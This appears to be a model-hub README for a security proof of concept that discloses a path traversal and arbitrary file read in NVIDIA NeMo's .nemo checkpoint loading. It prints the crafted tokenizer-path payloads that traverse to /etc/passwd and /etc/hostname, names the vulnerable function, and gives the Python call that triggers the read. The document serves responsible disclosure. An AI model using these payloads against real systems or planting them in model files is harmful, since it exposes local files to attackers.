NeMo
security
poc
asmit007's picture
Upload 4 files
b5e1847 verified
|
Raw
History Blame Contribute Delete
2.4 kB
---
license: apache-2.0
tags:
- security
- poc
- nemo
---
# PoC β€” NVIDIA NeMo `.nemo` Path Traversal / Arbitrary File Read (`nemo:` artifact paths)
**This is a security proof-of-concept, not a real model.** `attacker.nemo` is a
minimal, benign-looking NeMo ASR checkpoint whose `model_config.yaml` contains a
crafted `tokenizer.model_path` artifact reference that escapes the archive
extraction directory using `../` traversal.
- **Project:** `NVIDIA-NeMo/NeMo` (`main`)
- **Sink:** `nemo.core.connectors.save_restore_connector.SaveRestoreConnector.register_artifact`
- **Class:** CWE-22 Path Traversal β†’ arbitrary local **file read/open** on model load
- **Impact:** arbitrary local file read at the loader's privileges (not RCE, not file write)
## Malicious element
`model_config.yaml`:
```yaml
tokenizer:
type: bpe
model_path: "nemo:../../../../../../../../etc/passwd" # <-- traversal payload
```
The `nemo:` value is resolved by `register_artifact` as
`os.path.abspath(os.path.join(app_state.nemo_file_folder, src[5:]))` with **no
`..`/containment validation**, so it resolves to `/etc/passwd` β€” outside the
per-restore extraction sandbox β€” and the tokenizer then opens it automatically.
## Reproduce
```python
from nemo.collections.asr.models import EncDecCTCBPEModel
EncDecCTCBPEModel.restore_from("attacker.nemo")
```
During construction, `_setup_tokenizer` calls
`register_artifact('tokenizer.model_path', 'nemo:../../../../etc/passwd')`, which
returns `/etc/passwd`, and `SentencePieceTokenizer(model_path='/etc/passwd')`
opens that out-of-sandbox file. (It then errors because `/etc/passwd` is not a
valid SentencePiece proto β€” the security-relevant event, opening a file outside
the archive, has already occurred.)
For clean **content disclosure**, swap in the WPE variant so the target file's
lines are loaded into the tokenizer vocabulary:
```yaml
tokenizer:
type: wpe
vocab_path: "nemo:../../../../etc/hostname"
```
β†’ readable via `model.tokenizer.get_vocab()`.
## Notes
- Read-only: the resolver requires the target to already exist (no write/create).
- Runs at the privilege of the process calling `restore_from` β€” no escalation.
- The archive itself is clean and passes NeMo's `is_safe_tar_member`; the payload
is a config string, so it bypasses the tar-extraction hardening entirely.
Full write-up and patch: see the linked Huntr report.